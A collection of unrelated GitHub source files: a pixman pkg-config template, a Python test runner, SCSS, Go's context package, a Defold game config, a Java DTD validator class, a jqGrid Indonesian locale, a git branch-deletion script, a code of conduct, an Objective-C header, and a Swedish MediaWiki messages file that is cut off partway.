Name: Pixman Description: The pixman library (version 1) Version: @PACKAGE_VERSION@ Cflags: -I${pc_top_builddir}/${pcfiledir}/pixman Libs: ${pc_top_builddir}/${pcfiledir}/pixman/libpixman-1.la
{ "pile_set_name": "Github" }
#!/bin/bash export LOG_LEVEL=debug STATUS=0 for file in ./tests/test_*.py do echo $file nosetests $file \ --logging-format='%(asctime)s [%(name)s] %(levelname)-6s %(message)s' \ --with-coverage \ --cover-package=tormysql if [ $? != 0 ]; then STATUS=1 fi done pip install tornado==5.1.1 for file in ./tests/test_*.py do echo $file nosetests $file \ --logging-format='%(asctime)s [%(name)s] %(levelname)-6s %(message)s' \ --with-coverage \ --cover-package=tormysql if [ $? != 0 ]; then STATUS=1 fi done exit $STATUS
{ "pile_set_name": "Github" }
footer { position: fixed; bottom: 0; left: 0; right: 0; background-color: rgba(255, 255, 255, 0.2); line-height: 2; z-index: 500; text-align: center; a { color: #181818; &:hover { color: #303030; } } }
{ "pile_set_name": "Github" }
// Copyright 2014 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build !go1.7 package context import ( "errors" "fmt" "sync" "time" ) // An emptyCtx is never canceled, has no values, and has no deadline. It is not // struct{}, since vars of this type must have distinct addresses. type emptyCtx int func (*emptyCtx) Deadline() (deadline time.Time, ok bool) { return } func (*emptyCtx) Done() <-chan struct{} { return nil } func (*emptyCtx) Err() error { return nil } func (*emptyCtx) Value(key interface{}) interface{} { return nil } func (e *emptyCtx) String() string { switch e { case background: return "context.Background" case todo: return "context.TODO" } return "unknown empty Context" } var ( background = new(emptyCtx) todo = new(emptyCtx) ) // Canceled is the error returned by Context.Err when the context is canceled. var Canceled = errors.New("context canceled") // DeadlineExceeded is the error returned by Context.Err when the context's // deadline passes. var DeadlineExceeded = errors.New("context deadline exceeded") // WithCancel returns a copy of parent with a new Done channel. The returned // context's Done channel is closed when the returned cancel function is called // or when the parent context's Done channel is closed, whichever happens first. // // Canceling this context releases resources associated with it, so code should // call cancel as soon as the operations running in this Context complete. func WithCancel(parent Context) (ctx Context, cancel CancelFunc) { c := newCancelCtx(parent) propagateCancel(parent, c) return c, func() { c.cancel(true, Canceled) } } // newCancelCtx returns an initialized cancelCtx. func newCancelCtx(parent Context) *cancelCtx { return &cancelCtx{ Context: parent, done: make(chan struct{}), } } // propagateCancel arranges for child to be canceled when parent is. func propagateCancel(parent Context, child canceler) { if parent.Done() == nil { return // parent is never canceled } if p, ok := parentCancelCtx(parent); ok { p.mu.Lock() if p.err != nil { // parent has already been canceled child.cancel(false, p.err) } else { if p.children == nil { p.children = make(map[canceler]bool) } p.children[child] = true } p.mu.Unlock() } else { go func() { select { case <-parent.Done(): child.cancel(false, parent.Err()) case <-child.Done(): } }() } } // parentCancelCtx follows a chain of parent references until it finds a // *cancelCtx. This function understands how each of the concrete types in this // package represents its parent. func parentCancelCtx(parent Context) (*cancelCtx, bool) { for { switch c := parent.(type) { case *cancelCtx: return c, true case *timerCtx: return c.cancelCtx, true case *valueCtx: parent = c.Context default: return nil, false } } } // removeChild removes a context from its parent. func removeChild(parent Context, child canceler) { p, ok := parentCancelCtx(parent) if !ok { return } p.mu.Lock() if p.children != nil { delete(p.children, child) } p.mu.Unlock() } // A canceler is a context type that can be canceled directly. The // implementations are *cancelCtx and *timerCtx. type canceler interface { cancel(removeFromParent bool, err error) Done() <-chan struct{} } // A cancelCtx can be canceled. When canceled, it also cancels any children // that implement canceler. type cancelCtx struct { Context done chan struct{} // closed by the first cancel call. mu sync.Mutex children map[canceler]bool // set to nil by the first cancel call err error // set to non-nil by the first cancel call } func (c *cancelCtx) Done() <-chan struct{} { return c.done } func (c *cancelCtx) Err() error { c.mu.Lock() defer c.mu.Unlock() return c.err } func (c *cancelCtx) String() string { return fmt.Sprintf("%v.WithCancel", c.Context) } // cancel closes c.done, cancels each of c's children, and, if // removeFromParent is true, removes c from its parent's children. func (c *cancelCtx) cancel(removeFromParent bool, err error) { if err == nil { panic("context: internal error: missing cancel error") } c.mu.Lock() if c.err != nil { c.mu.Unlock() return // already canceled } c.err = err close(c.done) for child := range c.children { // NOTE: acquiring the child's lock while holding parent's lock. child.cancel(false, err) } c.children = nil c.mu.Unlock() if removeFromParent { removeChild(c.Context, c) } } // WithDeadline returns a copy of the parent context with the deadline adjusted // to be no later than d. If the parent's deadline is already earlier than d, // WithDeadline(parent, d) is semantically equivalent to parent. The returned // context's Done channel is closed when the deadline expires, when the returned // cancel function is called, or when the parent context's Done channel is // closed, whichever happens first. // // Canceling this context releases resources associated with it, so code should // call cancel as soon as the operations running in this Context complete. func WithDeadline(parent Context, deadline time.Time) (Context, CancelFunc) { if cur, ok := parent.Deadline(); ok && cur.Before(deadline) { // The current deadline is already sooner than the new one. return WithCancel(parent) } c := &timerCtx{ cancelCtx: newCancelCtx(parent), deadline: deadline, } propagateCancel(parent, c) d := deadline.Sub(time.Now()) if d <= 0 { c.cancel(true, DeadlineExceeded) // deadline has already passed return c, func() { c.cancel(true, Canceled) } } c.mu.Lock() defer c.mu.Unlock() if c.err == nil { c.timer = time.AfterFunc(d, func() { c.cancel(true, DeadlineExceeded) }) } return c, func() { c.cancel(true, Canceled) } } // A timerCtx carries a timer and a deadline. It embeds a cancelCtx to // implement Done and Err. It implements cancel by stopping its timer then // delegating to cancelCtx.cancel. type timerCtx struct { *cancelCtx timer *time.Timer // Under cancelCtx.mu. deadline time.Time } func (c *timerCtx) Deadline() (deadline time.Time, ok bool) { return c.deadline, true } func (c *timerCtx) String() string { return fmt.Sprintf("%v.WithDeadline(%s [%s])", c.cancelCtx.Context, c.deadline, c.deadline.Sub(time.Now())) } func (c *timerCtx) cancel(removeFromParent bool, err error) { c.cancelCtx.cancel(false, err) if removeFromParent { // Remove this timerCtx from its parent cancelCtx's children. removeChild(c.cancelCtx.Context, c) } c.mu.Lock() if c.timer != nil { c.timer.Stop() c.timer = nil } c.mu.Unlock() } // WithTimeout returns WithDeadline(parent, time.Now().Add(timeout)). // // Canceling this context releases resources associated with it, so code should // call cancel as soon as the operations running in this Context complete: // // func slowOperationWithTimeout(ctx context.Context) (Result, error) { // ctx, cancel := context.WithTimeout(ctx, 100*time.Millisecond) // defer cancel() // releases resources if slowOperation completes before timeout elapses // return slowOperation(ctx) // } func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc) { return WithDeadline(parent, time.Now().Add(timeout)) } // WithValue returns a copy of parent in which the value associated with key is // val. // // Use context Values only for request-scoped data that transits processes and // APIs, not for passing optional parameters to functions. func WithValue(parent Context, key interface{}, val interface{}) Context { return &valueCtx{parent, key, val} } // A valueCtx carries a key-value pair. It implements Value for that key and // delegates all other calls to the embedded Context. type valueCtx struct { Context key, val interface{} } func (c *valueCtx) String() string { return fmt.Sprintf("%v.WithValue(%#v, %#v)", c.Context, c.key, c.val) } func (c *valueCtx) Value(key interface{}) interface{} { if c.key == key { return c.val } return c.Context.Value(key) }
{ "pile_set_name": "Github" }
[project] title = Slingshot version = 1.0 write_log = 0 compress_archive = 1 [display] width = 640 height = 1136 high_dpi = 0 samples = 0 fullscreen = 0 update_frequency = 0 vsync = 1 display_profiles = /builtins/render/default.display_profilesc dynamic_orientation = 0 [physics] type = 2D gravity_y = -1000.0 debug = 0 debug_alpha = 0.9 world_count = 4 gravity_x = 0 gravity_z = 0 scale = 0.01 debug_scale = 30 max_collisions = 64 max_contacts = 128 contact_impulse_limit = 0 ray_cast_limit_2d = 64 ray_cast_limit_3d = 128 trigger_overlap_capacity = 16 [bootstrap] main_collection = /slingshot/slingshot.collectionc render = /builtins/render/default.renderc [graphics] default_texture_min_filter = linear default_texture_mag_filter = linear max_draw_calls = 1024 max_characters = 8192 max_debug_vertices = 10000 texture_profiles = /builtins/graphics/default.texture_profiles [sound] gain = 1 max_sound_data = 128 max_sound_buffers = 32 max_sound_sources = 16 max_sound_instances = 256 [resource] http_cache = 0 max_resources = 1024 [input] repeat_delay = 0.5 repeat_interval = 0.2 gamepads = /builtins/input/default.gamepadsc game_binding = /input/game.input_bindingc use_accelerometer = 0 [sprite] max_count = 128 subpixels = 1 [spine] max_count = 128 [model] max_count = 128 [gui] max_count = 64 max_particlefx_count = 64 max_particle_count = 1024 [collection] max_instances = 1024 [collection_proxy] max_count = 8 [collectionfactory] max_count = 128 [factory] max_count = 128 [ios] pre_renderered_icons = 0 bundle_identifier = com.example.todo infoplist = /builtins/manifests/ios/Info.plist [android] version_code = 1 package = com.example.todo manifest = /builtins/manifests/android/AndroidManifest.xml iap_provider = GooglePlay input_method = HiddenInputField immersive_mode = 0 debuggable = 0 [osx] infoplist = /builtins/manifests/osx/Info.plist bundle_identifier = com.example.todo [windows] [html5] custom_heap_size = 0 include_dev_tool = 0 htmlfile = /builtins/manifests/web/engine_template.html archive_location_prefix = archive [particle_fx] max_count = 64 max_particle_count = 1024 [iap] auto_finish_transactions = 1 [network] http_timeout = 0 [library] [script] shared_state = 1 [tracking] [label] max_count = 64 subpixels = 1 [profiler] track_cpu = 0 [liveupdate] settings = /liveupdate.settings
{ "pile_set_name": "Github" }
package com.ctc.wstx.dtd; import com.ctc.wstx.cfg.ErrorConsts; import com.ctc.wstx.util.PrefixedName; /** * Content specification that defines content model consisting of just * one allowed element. In addition to the allowed element, spec can have * optional arity ("*", "+", "?") marker. */ public class TokenContentSpec extends ContentSpec { final static TokenContentSpec sDummy = new TokenContentSpec (' ', new PrefixedName("*", "*")); final PrefixedName mElemName; /* /////////////////////////////////////////////////// // Life-cycle /////////////////////////////////////////////////// */ public TokenContentSpec(char arity, PrefixedName elemName) { super(arity); mElemName = elemName; } public static TokenContentSpec construct(char arity, PrefixedName elemName) { return new TokenContentSpec(arity, elemName); } public static TokenContentSpec getDummySpec() { return sDummy; } /* /////////////////////////////////////////////////// // Public API /////////////////////////////////////////////////// */ @Override public boolean isLeaf() { return mArity == ' '; } public PrefixedName getName() { return mElemName; } @Override public StructValidator getSimpleValidator() { return new Validator(mArity, mElemName); } @Override public ModelNode rewrite() { TokenModel model = new TokenModel(mElemName); if (mArity == '*') { return new StarModel(model); } if (mArity == '?') { return new OptionalModel(model); } if (mArity == '+') { return new ConcatModel(model, new StarModel(new TokenModel(mElemName))); } return model; } @Override public String toString() { return (mArity == ' ') ? mElemName.toString() : (mElemName.toString() + mArity); } /* /////////////////////////////////////////////////// // Validator class: /////////////////////////////////////////////////// */ final static class Validator extends StructValidator { final char mArity; final PrefixedName mElemName; int mCount = 0; public Validator(char arity, PrefixedName elemName) { mArity = arity; mElemName = elemName; } /** * Rules for reuse are simple: if we can have any number of * repetitions, we can just use a shared root instance. Although * its count variable will get updated this doesn't really * matter as it won't be used. Otherwise a new instance has to * be created always, to keep track of instance counts. */ @Override public StructValidator newInstance() { return (mArity == '*') ? this : new Validator(mArity, mElemName); } @Override public String tryToValidate(PrefixedName elemName) { if (!elemName.equals(mElemName)) { return "Expected element <"+mElemName+">"; } if (++mCount > 1 && (mArity == '?' || mArity == ' ')) { return "More than one instance of element <"+mElemName+">"; } return null; } @Override public String fullyValid() { switch (mArity) { case '*': case '?': return null; case '+': // need at least one (and multiples checked earlier) case ' ': if (mCount > 0) { return null; } return "Expected "+(mArity == '+' ? "at least one" : "") +" element <"+mElemName+">"; } // should never happen: throw new IllegalStateException(ErrorConsts.ERR_INTERNAL); } } }
{ "pile_set_name": "Github" }
;(function($){ /** * jqGrid English Translation * Tony Tomov [email protected] * http://trirand.com/blog/ * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html **/ $.jgrid = $.jgrid || {}; $.extend($.jgrid,{ defaults : { recordtext: "Data {0} - {1} dari {2}", emptyrecords: "Tidak ada data", loadtext: "Memuat...", pgtext : "Halaman {0} dari {1}" }, search : { caption: "Pencarian", Find: "Cari !", Reset: "Segarkan", odata: [{ oper:'eq', text:"sama dengan"},{ oper:'ne', text:"tidak sama dengan"},{ oper:'lt', text:"kurang dari"},{ oper:'le', text:"kurang dari atau sama dengan"},{ oper:'gt', text:"lebih besar"},{ oper:'ge', text:"lebih besar atau sama dengan"},{ oper:'bw', text:"dimulai dengan"},{ oper:'bn', text:"tidak dimulai dengan"},{ oper:'in', text:"di dalam"},{ oper:'ni', text:"tidak di dalam"},{ oper:'ew', text:"diakhiri dengan"},{ oper:'en', text:"tidak diakhiri dengan"},{ oper:'cn', text:"mengandung"},{ oper:'nc', text:"tidak mengandung"},{ oper:'nu', text:'is null'},{ oper:'nn', text:'is not null'}], groupOps: [ { op: "AND", text: "all" }, { op: "OR", text: "any" } ], operandTitle : "Click to select search operation.", resetTitle : "Reset Search Value" }, edit : { addCaption: "Tambah Data", editCaption: "Sunting Data", bSubmit: "Submit", bCancel: "Tutup", bClose: "Tutup", saveData: "Data telah berubah! Simpan perubahan?", bYes : "Ya", bNo : "Tidak", bExit : "Tutup", msg: { required:"kolom wajib diisi", number:"hanya nomer yang diperbolehkan", minValue:"kolom harus lebih besar dari atau sama dengan", maxValue:"kolom harus lebih kecil atau sama dengan", email: "alamat e-mail tidak valid", integer: "hanya nilai integer yang diperbolehkan", date: "nilai tanggal tidak valid", url: "Bukan URL yang valid. Harap gunakan ('http://' or 'https://')", nodefined : " belum didefinisikan!", novalue : " return value is required!", customarray : "Custom function should return array!", customfcheck : "Custom function should be present in case of custom checking!" } }, view : { caption: "Menampilkan data", bClose: "Tutup" }, del : { caption: "Hapus", msg: "Hapus data terpilih?", bSubmit: "Hapus", bCancel: "Batalkan" }, nav : { edittext: "", edittitle: "Sunting data terpilih", addtext:"", addtitle: "Tambah baris baru", deltext: "", deltitle: "Hapus baris terpilih", searchtext: "", searchtitle: "Temukan data", refreshtext: "", refreshtitle: "Segarkan Grid", alertcap: "Warning", alerttext: "Harap pilih baris", viewtext: "", viewtitle: "Tampilkan baris terpilih" }, col : { caption: "Pilih Kolom", bSubmit: "Ok", bCancel: "Batal" }, errors : { errcap : "Error", nourl : "Tidak ada url yang diset", norecords: "Tidak ada data untuk diproses", model : "Lebar dari colNames <> colModel!" }, formatter : { integer : {thousandsSeparator: ".", defaultValue: '0'}, number : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, defaultValue: '0'}, currency : {decimalSeparator:",", thousandsSeparator: ".", decimalPlaces: 2, prefix: "Rp. ", suffix:"", defaultValue: '0'}, date : { dayNames: [ "Ming", "Sen", "Sel", "Rab", "Kam", "Jum", "Sab", "Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu" ], monthNames: [ "Jan", "Feb", "Mar", "Apr", "Mei", "Jun", "Jul", "Agu", "Sep", "Okt", "Nov", "Des", "Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember" ], AmPm : ["am","pm","AM","PM"], S: function (j) {return j < 11 || j > 13 ? ['st', 'nd', 'rd', 'th'][Math.min((j - 1) % 10, 3)] : 'th';}, srcformat: 'Y-m-d', newformat: 'n/j/Y', parseRe : /[#%\\\/:_;.,\t\s-]/, masks : { // see http://php.net/manual/en/function.date.php for PHP format used in jqGrid // and see http://docs.jquery.com/UI/Datepicker/formatDate // and https://github.com/jquery/globalize#dates for alternative formats used frequently // one can find on https://github.com/jquery/globalize/tree/master/lib/cultures many // information about date, time, numbers and currency formats used in different countries // one should just convert the information in PHP format ISO8601Long:"Y-m-d H:i:s", ISO8601Short:"Y-m-d", // short date: // n - Numeric representation of a month, without leading zeros // j - Day of the month without leading zeros // Y - A full numeric representation of a year, 4 digits // example: 3/1/2012 which means 1 March 2012 ShortDate: "n/j/Y", // in jQuery UI Datepicker: "M/d/yyyy" // long date: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits LongDate: "l, F d, Y", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy" // long date with long time: // l - A full textual representation of the day of the week // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros // Y - A full numeric representation of a year, 4 digits // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) FullDateTime: "l, F d, Y g:i:s A", // in jQuery UI Datepicker: "dddd, MMMM dd, yyyy h:mm:ss tt" // month day: // F - A full textual representation of a month // d - Day of the month, 2 digits with leading zeros MonthDay: "F d", // in jQuery UI Datepicker: "MMMM dd" // short time (without seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) ShortTime: "g:i A", // in jQuery UI Datepicker: "h:mm tt" // long time (with seconds) // g - 12-hour format of an hour without leading zeros // i - Minutes with leading zeros // s - Seconds, with leading zeros // A - Uppercase Ante meridiem and Post meridiem (AM or PM) LongTime: "g:i:s A", // in jQuery UI Datepicker: "h:mm:ss tt" SortableDateTime: "Y-m-d\\TH:i:s", UniversalSortableDateTime: "Y-m-d H:i:sO", // month with year // Y - A full numeric representation of a year, 4 digits // F - A full textual representation of a month YearMonth: "F, Y" // in jQuery UI Datepicker: "MMMM, yyyy" }, reformatAfterEdit : false }, baseLinkUrl: '', showAction: '', target: '', checkbox : {disabled:true}, idName : 'id' } }); })(jQuery);
{ "pile_set_name": "Github" }
#!/bin/sh # # Nukes a branch or tag locally and on the origin remote. # # $1 - Branch name. # # Examples # # git nuke add-git-nuke git show-ref --verify refs/tags/"$1" && git tag -d "$1" git show-ref --verify refs/heads/"$1" && git branch -D "$1" git push origin :"$1"
{ "pile_set_name": "Github" }
# Contributor Covenant Code of Conduct ## Our Pledge In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. ## Our Standards Examples of behavior that contributes to creating a positive environment include: * Using welcoming and inclusive language * Being respectful of differing viewpoints and experiences * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members Examples of unacceptable behavior by participants include: * The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or electronic address, without explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. ## Scope This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at [email protected]. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] [homepage]: http://contributor-covenant.org [version]: http://contributor-covenant.org/version/1/4/
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Jun 9 2015 22:53:21). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2014 by Steve Nygard. // #import "MacBuddyViewController.h" @class NSButton, ServicesManager; @interface EnableCoreLocationController : MacBuddyViewController { BOOL enableCoreLocation; BOOL naggedForOptIn; ServicesManager *_servicesManager; NSButton *_aboutButton; } @property __weak NSButton *aboutButton; // @synthesize aboutButton=_aboutButton; @property(retain) ServicesManager *servicesManager; // @synthesize servicesManager=_servicesManager; @property BOOL enableCoreLocation; // @synthesize enableCoreLocation; - (void).cxx_destruct; - (void)moreInfoPressed:(id)arg1; - (void)forwardPaneWithHandler:(CDUnknownBlockType)arg1; - (BOOL)shouldSkipPane; - (id)previousViewIdentifier; - (id)nextViewIdentifier; - (void)willBecomeVisible; - (id)manager; - (void)coreLocationInfoSheetDidEnd:(id)arg1; - (void)didBecomeVisible; - (id)init; @end
{ "pile_set_name": "Github" }
<?php /** Swedish (Svenska) * * See MessagesQqq.php for message documentation incl. usage of parameters * To improve a translation please visit http://translatewiki.net * * @ingroup Language * @file * * @author Ainali * @author Boivie * @author Dafer45 * @author Diupwijk * @author EPO * @author Fluff * @author GameOn * @author Greggegorius * @author Grillo * @author Habj * @author Habjchen * @author Hannibal * @author Jon Harald Søby * @author Kaganer * @author LPfi * @author Lejonel * @author Leo Johannes * @author Lokal Profil * @author M.M.S. * @author MagnusA * @author Micke * @author NH * @author Najami * @author Nghtwlkr * @author Ozp * @author Per * @author Petter Strandmark * @author Poxnar * @author Purodha * @author S.Örvarr.S * @author Sannab * @author Sertion * @author Skalman * @author Stefan2 * @author StefanB * @author Steinninn * @author Str4nd * @author Tobulos1 * @author Where next Columbus * @author Where next Columbus? * @author WikiPhoenix * @author לערי ריינהארט */ $namespaceNames = array( NS_MEDIA => 'Media', NS_SPECIAL => 'Special', NS_TALK => 'Diskussion', NS_USER => 'Användare', NS_USER_TALK => 'Användardiskussion', NS_PROJECT_TALK => '$1diskussion', NS_FILE => 'Fil', NS_FILE_TALK => 'Fildiskussion', NS_MEDIAWIKI => 'MediaWiki', NS_MEDIAWIKI_TALK => 'MediaWiki-diskussion', NS_TEMPLATE => 'Mall', NS_TEMPLATE_TALK => 'Malldiskussion', NS_HELP => 'Hjälp', NS_HELP_TALK => 'Hjälpdiskussion', NS_CATEGORY => 'Kategori', NS_CATEGORY_TALK => 'Kategoridiskussion', ); $namespaceAliases = array( 'Bild' => NS_FILE, 'Bilddiskussion' => NS_FILE_TALK, 'MediaWiki_diskussion' => NS_MEDIAWIKI_TALK, 'Hjälp_diskussion' => NS_HELP_TALK ); #!!# Translation <b>Prefixindex</b> for <a href="#mw-sp-magic-Prefixindex">Prefixindex</a> is not in normalised form, which is <b>PrefixIndex</b> $specialPageAliases = array( 'Allmessages' => array( 'Systemmeddelanden' ), 'Allpages' => array( 'Alla_sidor' ), 'Ancientpages' => array( 'Gamla_sidor' ), 'Blankpage' => array( 'Tom_sida' ), 'Block' => array( 'Blockera' ), 'Blockme' => array( 'Blockera_mig' ), 'Booksources' => array( 'Bokkällor' ), 'BrokenRedirects' => array( 'Trasiga_omdirigeringar', 'Dåliga_omdirigeringar' ), 'Categories' => array( 'Kategorier' ), 'ChangePassword' => array( 'Återställ_lösenord' ), 'Confirmemail' => array( 'Bekräfta_epost' ), 'Contributions' => array( 'Bidrag' ), 'CreateAccount' => array( 'Skapa_konto' ), 'Deadendpages' => array( 'Sidor_utan_länkar', 'Sidor_utan_länkar_från' ), 'DeletedContributions' => array( 'Raderade_bidrag' ), 'Disambiguations' => array( 'Förgreningssidor' ), 'DoubleRedirects' => array( 'Dubbla_omdirigeringar' ), 'Emailuser' => array( 'E-mail' ), 'Export' => array( 'Exportera' ), 'Fewestrevisions' => array( 'Minst_versioner' ), 'FileDuplicateSearch' => array( 'Dublettfilsökning' ), 'Filepath' => array( 'Filsökväg' ), 'Import' => array( 'Importera' ), 'Invalidateemail' => array( 'Ogiltigförklara_epost' ), 'BlockList' => array( 'Blockeringslista' ), 'LinkSearch' => array( 'Länksökning' ), 'Listadmins' => array( 'Administratörer' ), 'Listbots' => array( 'Robotlista' ), 'Listfiles' => array( 'Fillista', 'Bildlista' ), 'Listgrouprights' => array( 'Grupprättighetslista' ), 'Listredirects' => array( 'Omdirigeringar' ), 'Listusers' => array( 'Användare', 'Användarlista' ), 'Lockdb' => array( 'Lås_databasen' ), 'Log' => array( 'Logg' ), 'Lonelypages' => array( 'Föräldralösa_sidor', 'Övergivna_sidor', 'Sidor_utan_länkar_till' ), 'Longpages' => array( 'Långa_sidor' ), 'MergeHistory' => array( 'Slå_ihop_historik' ), 'MIMEsearch' => array( 'MIME-sökning' ), 'Mostcategories' => array( 'Flest_kategorier' ), 'Mostimages' => array( 'Mest_länkade_filer', 'Flest_bilder' ), 'Mostlinked' => array( 'Mest_länkade_sidor' ), 'Mostlinkedcategories' => array( 'Största_kategorier' ), 'Mostlinkedtemplates' => array( 'Mest_använda_mallar' ), 'Mostrevisions' => array( 'Flest_versioner' ), 'Movepage' => array( 'Flytta' ), 'Mycontributions' => array( 'Mina_bidrag' ), 'Mypage' => array( 'Min_sida' ), 'Mytalk' => array( 'Min_diskussion' ), 'Myuploads' => array( 'Mina_uppladdningar' ), 'Newimages' => array( 'Nya_bilder' ), 'Newpages' => array( 'Nya_sidor' ), 'Popularpages' => array( 'Populära_sidor' ), 'Preferences' => array( 'Inställningar' ), 'Protectedpages' => array( 'Skyddade_sidor' ), 'Protectedtitles' => array( 'Skyddade_titlar' ), 'Randompage' => array( 'Slumpsida' ), 'Randomredirect' => array( 'Slumpomdirigering' ), 'Recentchanges' => array( 'Senaste_ändringar' ), 'Recentchangeslinked' => array( 'Senaste_relaterade_ändringar' ), 'Revisiondelete' => array( 'Radera_version' ), 'Search' => array( 'Sök' ), 'Shortpages' => array( 'Korta_sidor' ), 'Specialpages' => array( 'Specialsidor' ), 'Statistics' => array( 'Statistik' ), 'Tags' => array( 'Märken', 'Taggar' ), 'Unblock' => array( 'Avblockera' ), 'Uncategorizedcategories' => array( 'Okategoriserade_kategorier' ), 'Uncategorizedimages' => array( 'Okategoriserade_filer', 'Okategoriserade_bilder' ), 'Uncategorizedpages' => array( 'Okategoriserade_sidor' ), 'Uncategorizedtemplates' => array( 'Okategoriserade_mallar' ), 'Undelete' => array( 'Återställ' ), 'Unlockdb' => array( 'Lås_upp_databasen' ), 'Unusedcategories' => array( 'Oanvända_kategorier' ), 'Unusedimages' => array( 'Oanvända_filer', 'Oanvända_bilder' ), 'Unusedtemplates' => array( 'Oanvända_mallar' ), 'Unwatchedpages' => array( 'Obevakade_sidor' ), 'Upload' => array( 'Uppladdning' ), 'Userlogin' => array( 'Inloggning' ), 'Userlogout' => array( 'Utloggning' ), 'Userrights' => array( 'Rättigheter' ), 'Wantedcategories' => array( 'Önskade_kategorier' ), 'Wantedfiles' => array( 'Önskade_filer' ), 'Wantedpages' => array( 'Önskade_sidor', 'Trasiga_länkar' ), 'Wantedtemplates' => array( 'Önskade_mallar' ), 'Watchlist' => array( 'Bevakningslista', 'Övervakningslista' ), 'Whatlinkshere' => array( 'Länkar_hit' ), 'Withoutinterwiki' => array( 'Utan_interwikilänkar' ), ); $magicWords = array( 'redirect' => array( '0', '#OMDIRIGERING', '#REDIRECT' ), 'notoc' => array( '0', '__INGENINNEHÅLLSFÖRTECKNING__', '__NOTOC__' ), 'nogallery' => array( '0', '__INGETGALLERI__', '__NOGALLERY__' ), 'forcetoc' => array( '0', '__ALLTIDINNEHÅLLSFÖRTECKNING__', '__FORCETOC__' ), 'toc' => array( '0', '__INNEHÅLLSFÖRTECKNING__', '__TOC__' ), 'noeditsection' => array( '0', '__INTEREDIGERASEKTION__', '__NOEDITSECTION__' ), 'noheader' => array( '0', '__INGENRUBRIK__', '__NOHEADER__' ), 'currentmonth' => array( '1', 'NUVARANDEMÅNAD', 'NUMÅNAD', 'CURRENTMONTH', 'CURRENTMONTH2' ), 'currentmonth1' => array( '1', 'NUVARANDEMÅNAD1', 'CURRENTMONTH1' ), 'currentmonthname' => array( '1', 'NUVARANDEMÅNADSNAMN', 'NUMÅNADSNAMN', 'CURRENTMONTHNAME' ), 'currentmonthabbrev' => array( '1', 'NUVARANDEMÅNADKORT', 'NUMÅNADKORT', 'CURRENTMONTHABBREV' ), 'currentday' => array( '1', 'NUVARANDEDAG', 'NUDAG', 'CURRENTDAY' ), 'currentday2' => array( '1', 'NUVARANDEDAG2', 'NUDAG2', 'CURRENTDAY2' ), 'currentdayname' => array( '1', 'NUVARANDEDAGSNAMN', 'NUDAGSNAMN', 'CURRENTDAYNAME' ), 'currentyear' => array( '1', 'NUVARANDEÅR', 'NUÅR', 'CURRENTYEAR' ), 'currenttime' => array( '1', 'NUVARANDETID', 'NUTID', 'CURRENTTIME' ), 'currenthour' => array( '1', 'NUVARANDETIMME', 'NUTIMME', 'CURRENTHOUR' ), 'localmonth' => array( '1', 'LOKALMÅNAD', 'LOCALMONTH', 'LOCALMONTH2' ), 'localmonth1' => array( '1', 'LOKALMÅNAD1', 'LOCALMONTH1' ), 'localmonthname' => array( '1', 'LOKALMÅNADSNAMN', 'LOCALMONTHNAME' ), 'localmonthabbrev' => array( '1', 'LOKALMÅNADKORT', 'LOCALMONTHABBREV' ), 'localday' => array( '1', 'LOKALDAG', 'LOCALDAY' ), 'localday2' => array( '1', 'LOKALDAG2', 'LOCALDAY2' ), 'localdayname' => array( '1', 'LOKALDAGSNAMN', 'LOCALDAYNAME' ), 'localyear' => array( '1', 'LOKALTÅR', 'LOCALYEAR' ), 'localtime' => array( '1', 'LOKALTID', 'LOCALTIME' ), 'localhour' => array( '1', 'LOKALTIMME', 'LOCALHOUR' ), 'numberofpages' => array( '1', 'ANTALSIDOR', 'NUMBEROFPAGES' ), 'numberofarticles' => array( '1', 'ANTALARTIKLAR', 'NUMBEROFARTICLES' ), 'numberoffiles' => array( '1', 'ANTALFILER', 'NUMBEROFFILES' ), 'numberofusers' => array( '1', 'ANTALANVÄNDARE', 'NUMBEROFUSERS' ), 'numberofactiveusers' => array( '1', 'ANTALAKTIVAANVÄNDARE', 'NUMBEROFACTIVEUSERS' ), 'numberofedits' => array( 